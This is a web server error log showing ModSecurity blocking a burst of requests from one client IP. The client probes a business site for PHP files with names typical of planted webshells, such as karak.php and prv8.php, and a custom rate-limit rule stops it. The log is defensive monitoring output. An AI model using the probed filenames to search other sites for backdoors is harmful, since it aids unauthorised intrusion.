[Sat Feb 28 01:47:01.103792 2026] [:error] [pid 15240:tid 15247] [client 20.100.197.204:28166] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a1vx.php"] [unique_id "aaHYlS1iKL_41Rk9A9OGTAAAAAU"]
[Sat Feb 28 01:47:01.621322 2026] [:error] [pid 38586:tid 38611] [client 20.100.197.204:21360] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/a1vx.php"] [unique_id "aaHYlb_i6nvKNhjFW7VYFgAAARY"]
[Sat Feb 28 01:47:02.140274 2026] [:error] [pid 15099:tid 15154] [client 20.100.197.204:20081] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaHYlunvP2vtPjYDq_g98QAAANU"]
[Sat Feb 28 01:47:02.657053 2026] [:error] [pid 15240:tid 15259] [client 20.100.197.204:28170] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaHYli1iKL_41Rk9A9OGVQAAABE"]
[Sat Feb 28 01:47:03.172980 2026] [:error] [pid 15100:tid 15171] [client 20.100.197.204:32743] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaHYl0OEbzcINan_ctLM8gAAAEs"]
[Sat Feb 28 01:47:03.689912 2026] [:error] [pid 38586:tid 38589] [client 20.100.197.204:16307] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/sbhu.php"] [unique_id "aaHYl7_i6nvKNhjFW7VYHAAAAQA"]
[Sat Feb 28 01:47:04.207948 2026] [:error] [pid 38620:tid 38635] [client 20.100.197.204:1183] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aaHYmAP6I7SRqrhh7Roi2gAAAU0"]
[Sat Feb 28 01:47:04.725487 2026] [:error] [pid 38620:tid 38628] [client 20.100.197.204:12526] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aaHYmAP6I7SRqrhh7Roi3gAAAUY"]
[Sat Feb 28 01:47:05.241859 2026] [:error] [pid 15240:tid 15258] [client 20.100.197.204:12494] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aaHYmS1iKL_41Rk9A9OGXgAAABA"]
[Sat Feb 28 01:47:05.758016 2026] [:error] [pid 38586:tid 38598] [client 20.100.197.204:16454] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aaHYmb_i6nvKNhjFW7VYIQAAAQk"]
[Sat Feb 28 01:47:06.275097 2026] [:error] [pid 15100:tid 15162] [client 20.100.197.204:18955] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/06.php"] [unique_id "aaHYmkOEbzcINan_ctLM-wAAAEI"]
[Sat Feb 28 01:47:06.792057 2026] [:error] [pid 15240:tid 15257] [client 20.100.197.204:27380] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/06.php"] [unique_id "aaHYmi1iKL_41Rk9A9OGYwAAAA8"]
[Sat Feb 28 01:47:07.309379 2026] [:error] [pid 38620:tid 38633] [client 20.100.197.204:30776] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/06.php"] [unique_id "aaHYmwP6I7SRqrhh7Roi5AAAAUs"]
[Sat Feb 28 01:47:07.826633 2026] [:error] [pid 38586:tid 38596] [client 20.100.197.204:12507] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/06.php"] [unique_id "aaHYm7_i6nvKNhjFW7VYKgAAAQc"]
[Sat Feb 28 01:47:08.344163 2026] [:error] [pid 38620:tid 38639] [client 20.100.197.204:16488] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aaHYnAP6I7SRqrhh7Roi8AAAAVE"]
[Sat Feb 28 01:47:08.860757 2026] [:error] [pid 38620:tid 38644] [client 20.100.197.204:28179] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aaHYnAP6I7SRqrhh7Roi9QAAAVY"]
[Sat Feb 28 01:47:09.376377 2026] [:error] [pid 38620:tid 38645] [client 20.100.197.204:27385] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aaHYnQP6I7SRqrhh7Roi-QAAAVc"]
[Sat Feb 28 01:47:09.894791 2026] [:error] [pid 38586:tid 38612] [client 20.100.197.204:16633] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/classwithtostring.php"] [unique_id "aaHYnb_i6nvKNhjFW7VYMAAAARc"]
[Sat Feb 28 01:47:10.412951 2026] [:error] [pid 38620:tid 38643] [client 20.100.197.204:24504] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fot.php"] [unique_id "aaHYngP6I7SRqrhh7Roi_wAAAVU"]
[Sat Feb 28 01:47:10.934271 2026] [:error] [pid 15240:tid 15247] [client 20.100.197.204:12513] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fot.php"] [unique_id "aaHYni1iKL_41Rk9A9OGaAAAAAU"]
[Sat Feb 28 01:47:11.450426 2026] [:error] [pid 15240:tid 15262] [client 20.100.197.204:4106] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fot.php"] [unique_id "aaHYny1iKL_41Rk9A9OGbAAAABQ"]
[Sat Feb 28 01:47:11.969641 2026] [:error] [pid 15240:tid 15265] [client 20.100.197.204:16471] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/fot.php"] [unique_id "aaHYny1iKL_41Rk9A9OGcAAAABc"]
[Sat Feb 28 01:47:12.487454 2026] [:error] [pid 15240:tid 15264] [client 20.100.197.204:4120] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "aaHYoC1iKL_41Rk9A9OGdQAAABY"]
[Sat Feb 28 01:47:13.005947 2026] [:error] [pid 15098:tid 15107] [client 20.100.197.204:4628] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "aaHYockFqny8dQQbmTkr0gAAAII"]
[Sat Feb 28 01:47:13.521951 2026] [:error] [pid 38586:tid 38610] [client 20.100.197.204:27334] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "aaHYob_i6nvKNhjFW7VYNQAAARU"]
[Sat Feb 28 01:47:14.038693 2026] [:error] [pid 38586:tid 38591] [client 20.100.197.204:1168] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ff1.php"] [unique_id "aaHYor_i6nvKNhjFW7VYNwAAAQI"]
[Sat Feb 28 01:47:14.556666 2026] [:error] [pid 38586:tid 38590] [client 20.100.197.204:27348] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/forbidals.php"] [unique_id "aaHYor_i6nvKNhjFW7VYOQAAAQE"]
[Sat Feb 28 01:47:15.075640 2026] [:error] [pid 38620:tid 38634] [client 20.100.197.204:11535] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/forbidals.php"] [unique_id "aaHYowP6I7SRqrhh7RojFgAAAUw"]
[Sat Feb 28 01:47:15.593837 2026] [:error] [pid 38620:tid 38643] [client 20.100.197.204:30734] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/forbidals.php"] [unique_id "aaHYowP6I7SRqrhh7RojHAAAAVU"]
[Sat Feb 28 01:47:16.109864 2026] [:error] [pid 38586:tid 38600] [client 20.100.197.204:4106] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/forbidals.php"] [unique_id "aaHYpL_i6nvKNhjFW7VYPQAAAQs"]
[Sat Feb 28 01:47:16.627595 2026] [:error] [pid 38586:tid 38609] [client 20.100.197.204:30749] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aaHYpL_i6nvKNhjFW7VYRQAAARQ"]
[Sat Feb 28 01:47:17.145116 2026] [:error] [pid 15099:tid 15141] [client 20.100.197.204:27329] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aaHYpenvP2vtPjYDq_g9-QAAAMg"]
[Sat Feb 28 01:47:17.662460 2026] [:error] [pid 15100:tid 15164] [client 20.100.197.204:6609] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aaHYpUOEbzcINan_ctLNFAAAAEQ"]
[Sat Feb 28 01:47:18.179322 2026] [:error] [pid 15100:tid 15171] [client 20.100.197.204:30154] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/erty.php"] [unique_id "aaHYpkOEbzcINan_ctLNFgAAAEs"]
[Sat Feb 28 01:47:18.710458 2026] [:error] [pid 15240:tid 15262] [client 20.100.197.204:30206] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dev1s.php"] [unique_id "aaHYpi1iKL_41Rk9A9OGnQAAABQ"]
[Sat Feb 28 01:47:19.228485 2026] [:error] [pid 15099:tid 15140] [client 20.100.197.204:37974] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dev1s.php"] [unique_id "aaHYp-nvP2vtPjYDq_g9_AAAAMc"]
[Sat Feb 28 01:47:19.744893 2026] [:error] [pid 38620:tid 38633] [client 20.100.197.204:11701] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dev1s.php"] [unique_id "aaHYpwP6I7SRqrhh7RojJQAAAUs"]
[Sat Feb 28 01:47:20.262177 2026] [:error] [pid 15100:tid 15180] [client 20.100.197.204:37648] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/dev1s.php"] [unique_id "aaHYqEOEbzcINan_ctLNGgAAAFQ"]
[Sat Feb 28 01:47:20.779597 2026] [:error] [pid 15100:tid 15181] [client 20.100.197.204:11577] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ffd.php"] [unique_id "aaHYqEOEbzcINan_ctLNHgAAAFU"]
[Sat Feb 28 01:47:21.296648 2026] [:error] [pid 38586:tid 38589] [client 20.100.197.204:41901] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ffd.php"] [unique_id "aaHYqb_i6nvKNhjFW7VYSgAAAQA"]
[Sat Feb 28 01:47:21.814803 2026] [:error] [pid 38620:tid 38631] [client 20.100.197.204:5649] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ffd.php"] [unique_id "aaHYqQP6I7SRqrhh7RojMQAAAUk"]
[Sat Feb 28 01:47:22.334752 2026] [:error] [pid 38620:tid 38633] [client 20.100.197.204:41904] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ffd.php"] [unique_id "aaHYqgP6I7SRqrhh7RojNgAAAUs"]
[Sat Feb 28 01:47:22.852212 2026] [:error] [pid 38620:tid 38641] [client 20.100.197.204:24599] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/admiin.php"] [unique_id "aaHYqgP6I7SRqrhh7RojOAAAAVM"]
[Sat Feb 28 01:47:23.370559 2026] [:error] [pid 38586:tid 38603] [client 20.100.197.204:22179] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/admiin.php"] [unique_id "aaHYq7_i6nvKNhjFW7VYVQAAAQ4"]
[Sat Feb 28 01:47:23.887154 2026] [:error] [pid 15100:tid 15177] [client 20.100.197.204:11023] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/admiin.php"] [unique_id "aaHYq0OEbzcINan_ctLNJgAAAFE"]
[Sat Feb 28 01:47:24.405266 2026] [:error] [pid 38586:tid 38593] [client 20.100.197.204:27546] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/admiin.php"] [unique_id "aaHYrL_i6nvKNhjFW7VYWgAAAQQ"]
[Sat Feb 28 01:47:24.922941 2026] [:error] [pid 38586:tid 38595] [client 20.100.197.204:33190] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aaHYrL_i6nvKNhjFW7VYXQAAAQY"]
[Sat Feb 28 01:47:25.441198 2026] [:error] [pid 15100:tid 15164] [client 20.100.197.204:22369] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aaHYrUOEbzcINan_ctLNKgAAAEQ"]
[Sat Feb 28 01:47:25.957955 2026] [:error] [pid 38586:tid 38604] [client 20.100.197.204:33199] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/ol.php"] [unique_id "aaHYrb_i6nvKNhjFW7VYZQAAAQ8"]
[Sat Feb 28 01:47:33.174062 2026] [:error] [pid 15240:tid 15243] [client 20.100.197.204:30492] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/karak.php"] [unique_id "aaHYtS1iKL_41Rk9A9OGwQAAAAE"]
[Sat Feb 28 01:47:33.690036 2026] [:error] [pid 15099:tid 15146] [client 20.100.197.204:3126] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/karak.php"] [unique_id "aaHYtenvP2vtPjYDq_g-GAAAAM0"]
[Sat Feb 28 01:47:34.206695 2026] [:error] [pid 15098:tid 15130] [client 20.100.197.204:30514] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/karak.php"] [unique_id "aaHYtskFqny8dQQbmTkr2wAAAJg"]
[Sat Feb 28 01:47:34.722965 2026] [:error] [pid 38586:tid 38612] [client 20.100.197.204:3132] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/karak.php"] [unique_id "aaHYtr_i6nvKNhjFW7VYfAAAARc"]
[Sat Feb 28 01:47:35.239483 2026] [:error] [pid 38586:tid 38611] [client 20.100.197.204:14896] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/prv8.php"] [unique_id "aaHYt7_i6nvKNhjFW7VYfwAAARY"]
[Sat Feb 28 01:47:35.756438 2026] [:error] [pid 15098:tid 15108] [client 20.100.197.204:21477] [client 20.100.197.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.measureyourbrand.com.au"] [uri "/prv8.php"] [unique_id "aaHYt8kFqny8dQQbmTkr3gAAAIM"]
